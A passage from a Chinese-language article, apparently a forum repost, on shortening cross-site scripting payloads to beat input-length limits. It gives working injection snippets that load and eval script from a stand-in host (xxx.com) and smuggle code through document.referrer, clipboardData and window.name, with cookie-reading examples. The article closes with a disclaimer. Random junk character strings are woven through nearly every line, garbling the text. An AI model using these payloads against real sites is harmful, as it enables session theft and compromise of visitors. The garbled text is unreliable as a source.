0 u, O6 M5 T o$ n9 [9 G# w 这样比上面的例子又少了一个字符。那么还可以更短么? ' ?/ J6 f' |; a 3 q+ m" v2 v$ a: d1 A3 s/ b/ O, \5 Y( q- Q, s
2.3 JS上下文的利用+ D6 c3 j- E* `
& R0 I. j, a* H( H6 z/ D
为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:' e, B6 z: [7 T [9 m2 J3 q
1 {2 k% c9 d: a; F! PString.fromCharCode / f" I. f. s1 V9 J2 ggetElementById 8 O* P6 O% Y( d9 {4 o" |getElementsByTagName7 h7 p- W: ^3 v
document.write, d: \# b2 P; j; m% @
XMLHTTPRequest' C* R. A1 t5 A& T# P) ]8 D
... 4 F$ |6 @1 N9 x& h$ Z1 U 0 {/ G. t% _* q8 C8 L4 G( W 就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的# k! c# x7 I* [% H9 `, W. j
简化函数,最经典的例子就是:( M# u, z' q( J: E6 @7 ]3 x
* z% s/ N9 u! Q* R, b* y; A8 O9 x
--code-------------------------------------------------------------------------0 h$ R) r2 ~4 ?/ h0 [ B( _
function $(id) { ! D; [$ |( X. h4 T1 Y return document.getElementById(id);8 a5 ~, K$ E0 Y
}/ c# I$ A6 w$ x. k
------------------------------------------------------------------------------- ] ~1 R. _/ v7 E: ]$ a$ c1 |4 L, I0 k# u
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是 8 H& F( ^9 f3 @) p2 K7 j7 E最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:+ A+ G4 I+ f! ~# O) `$ T
$ y( B) u4 [2 R( X$ S2 h" S
--code------------------------------------------------------------------------- 9 o& @& `/ m3 F- gfunction loads(url) {% R" ~) ~( }3 q8 m2 [5 [; C; {
...- S( J0 V$ u7 g* o: e
document.body.appendChild(script); + l9 z9 \6 v9 y& P3 w}) Y0 j6 z. h7 T; w# t0 d8 t. c% x
% W( Z: A+ G9 n; H+ f# n<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>5 m4 ?* r3 ~$ w. x$ S. a' |9 k
------------------------------------------------------------------------------- $ a/ I1 L7 a: n; q : ^) n! Z7 d( Y* }. h/ n长度:len(函数名) + len(url) + 5 5 E9 t/ w/ j0 V0 i! f# i4 v7 r9 P% F4 m- C0 L: I5 T/ M
当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:# Z1 ^; Q/ m; Y3 Y6 P* ~
1 f, l' ?$ w& x/ z- C- ]
--code------------------------------------------------------------------------- 6 _ N c- M6 r! b) w% Qfunction get(url) { ' T. B+ u* B& f# `' _. I ... 0 P9 C$ L$ s/ h4 t return x.responseText; , A& o* c2 e& M. M+ s) e# a" | C5 R}6 R& O* x, z$ F
* X+ ?+ v" T# t) H8 d
<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point> : E! g: D) D4 e' _( j: H0 w% M------------------------------------------------------------------------------- 4 j6 x+ j! |* P! T4 j 7 B& G7 d: q5 a+ J2 N* h2 k' r& N长度:len(函数名) + len(url) + 117 t' `+ G2 o/ O- p1 e$ y
3 ^+ D, ]5 q$ t; r 道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:4 P- d' w5 h$ c# D+ ^/ Y
% B1 t+ _: b! n% ^# B& s9 K
JQuery/ l! H1 |( B1 R. r3 r' [: d. Z
YUI # r, e. t+ p* i... / w8 f" m) D+ w% `! ]. Y( k2 Y/ X0 R. G5 u
综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我 , u1 w. [3 O8 [, A们的代码,进而突破长度限制执行任意代码。 g. u# w5 {) \9 E( Z% k O5 J$ H& G & f( S! O( M4 N: G) ~) F0 A1 k. {, Z( j j$ M" w6 l% b7 v
2.4 利用浏览器特性在跨域的页面之间传递数据! c8 @- D# ~; z3 e4 y
3 Z* D% |' z1 E- I
虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的 % [3 g& z3 d9 t) O: E& O方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。 ; J- }6 c1 i/ N* J0 \4 x- G7 q& N% v& P, W) U3 o
2.4.1 document.referrer & `& [& V! Y. }! n" p: F% A+ @7 ]& N8 I- h
攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了 ' V' O& l4 |! |5 F0 ^Payload,被XSS的页面通过referrer获取相关代码执行。! X7 w+ f( C4 W
* Z- ^* I) h5 {1 e) L) B, v
攻击者构造的的页面: : K/ c/ m; _3 k, U/ P2 F3 v) U0 W: n5 [0 \) R' i1 e. O4 y1 `
--code------------------------------------------------------------------------- & \6 v1 w7 d! j: k$ J+ v% uhttp://www.a.com/attack.html?...&alert(document.cookie) + d' a" I# w* i& Y4 i % [2 Q6 C/ O$ T<a href="http://www.xssedsite.com/xssed.php">go</a>- H( c. X4 a( f
-------------------------------------------------------------------------------2 T( [0 q1 ~% E6 X
; L2 `: ]% r2 c6 i! @5 l3 {
被XSS的页面:* M v& Z; G7 |9 v% \* G, m
/ E9 ^7 D# c* m+ J; B& v
--code-------------------------------------------------------------------------) O1 \0 {0 `! Y
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>5 l0 R+ Z" C& f9 n; c( {
-------------------------------------------------------------------------------2 T7 b/ N0 F" g0 f" a x% D
) |+ k7 O0 C0 ]5 H2 ~长度:34 1 X5 J$ y# f F* _( e5 n |( k7 w( c, J" y4 q: [9 O- }
这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh> - K+ |# \' [! f. \" R$ Q m) ?实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式8 a2 l O2 ?/ ]' L( l* |
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer: 0 u0 @8 ]1 {5 H# _4 b1 { q/ G5 W2 O# [' j; n; s8 [
--code------------------------------------------------------------------------- 2 l& V! S3 r, `% h0 |$ ?: k<script type="text/javascript">" K7 _# f* V9 U" r! A- D- s( v
<!-- 9 z! d$ Q+ u' E* o; wwindow.onload = function(){0 e( [5 Q7 s% g# T1 U; p3 H
var f = document.createElement("form"); ; [+ D2 o" v4 j0 c2 F; t& t f.setAttribute("method", "get");: I4 N0 A6 G' e, Q$ N9 ?
f.setAttribute("action", "http://www.xssedsite.com/xssed.php"); - @! I6 F8 g6 i: W4 r$ A1 n document.body.appendChild(f);, P7 i! c! Q5 J/ Q$ W8 ^
f.submit(); 8 L/ b& n2 Q+ r2 W1 P8 J5 H}; ) U' g. ]% f4 B9 d/ ?//--> : Z( l% l0 k- L; b( b) \</script>2 p2 B9 S% m/ @ ?- m" z
------------------------------------------------------------------------------- 4 g8 D) \4 u. A2 |3 b8 E' P, b2 E$ D0 |
) j8 w& ]: F. h9 d3 d4 f
2.4.2 剪切板clipboardData 8 j) y5 s) R) ?+ {/ X . \1 K1 y+ {# v# l' V 攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获- P) d* t: q/ H0 ?1 I5 G
取并执行该数据。 + a* Y3 L5 x+ e# I1 f' D9 k% ? Y6 [8 ?3 c6 a! a$ M. @攻击者构造的页面:. r- c. t5 K. @
+ A X7 C. a! j: d& m; A6 ?- A- ]
--code-------------------------------------------------------------------------. ?- y) s9 X4 F/ ?* Z \) T
<script>5 u5 c. E; b0 Z/ ~- i
clipboardData.setData("text", "alert(document.cookie)");) k1 m% `5 _2 a
</script> 4 ?$ Z, `" j* I }' W- n) L4 ^3 [------------------------------------------------------------------------------- ' z$ N. J) k% `- A/ Y4 C1 }6 ~6 r( E8 Y: q3 T
被XSS的页面: ' z, e; M$ R; t7 g( S 5 u$ P' _, Q% O--code-------------------------------------------------------------------------, x/ y% x6 R+ B/ _
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point> ; G2 F; N* c) M: R------------------------------------------------------------------------------- + }/ W8 Z7 C$ \0 s' X4 J8 `1 Z7 i8 ]5 d/ `' u
长度:36! ?+ A' ]( W, ^# A; I
9 Y' M! q- _/ W. V. M 这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。" G3 ^8 ]! T2 K) m5 \+ V# L5 V; s
7 f( b+ e. g! I* h# @& J
3 }& ^7 W' _ v攻击者构造的页面: % z& S' Y. j5 `9 | i! t/ z$ p* i7 G" q) @5 k6 d1 g
--code------------------------------------------------------------------------- 9 P; h& z U I. {<script> 4 E* z1 b* d$ ewindow.name = "alert(document.cookie)"; 1 Y0 O1 E6 t$ T; f8 o" Nlocaton.href = "http://www.xssedsite.com/xssed.php"; 3 a3 j* L b6 W* i</script># \2 [) X2 d3 R+ ?
-------------------------------------------------------------------------------& f2 Y, N3 b+ k8 t3 @, a) Q/ @
1 E) f1 C0 w/ \# `被XSS的页面: B( c' c, v N4 K
- G2 M! P! |: h- Z: q7 q1 F
--code-------------------------------------------------------------------------: K" w3 H( A' F& C
<limited_xss_point>eval(name);</limited_xss_point>5 U# B/ k8 D0 C N- t
-------------------------------------------------------------------------------& y. r$ X! ^. I+ u Q
6 ~; |" E, B) e2 y1 {4 ?长度:11# N! \6 F- S( L3 R9 N0 ?
, A) `- c3 Z5 ~1 T- ~
这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思5 g/ U/ G' a5 ]* b% `- u
的技巧,这个技巧的发现也是促成本文的直接原因。" z+ l8 U; e4 e4 h
5 \- d B& q" s0 g6 A window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文$ w" A' U- B C; ?
章来探讨。7 t- m) j) l! N3 e2 \3 B2 Y
$ V. r3 ~$ C3 [% n: w" k + L r+ W5 x R/ P8 W2 n8 Y+ H2.5 以上的方式结合使用 . Q3 X9 b! [( f+ v0 i, f# C% ^- c1 h& s, R- L# a
以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况 5 Z( |& C$ k- A0 A0 Q中,灵活的组合上面的方法可能会起到奇效。9 a) t0 ?$ z0 I/ \& o( R
% K. l! n, e9 d! y# d W: a/ q& b ) b: t. p% v" Z( ~/ g% S三、后记- C6 u) c. m" [ R! I4 y
& O7 J& O+ ]' P& ]3 D/ x
JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的. @0 I0 D( \8 F! [' {
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎 0 }2 i! I& w% `1 r* O3 Q+ l; y3 j5 D和我交流! ; y* d* x8 ]/ g$ {: u 5 x. l9 k! I+ ?5 q8 H! _ 感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!0 X0 B u( N9 s, V" r$ @6 D- b
( w- Q( n) K% _ ~5 Q4 L4 Q
本文是纯粹的技术探讨,请勿用于非法用途! 5 g) A( [. e: L) {4 H0 ^7 v* B) U8 t8 W+ L* v0 W7 T; P, L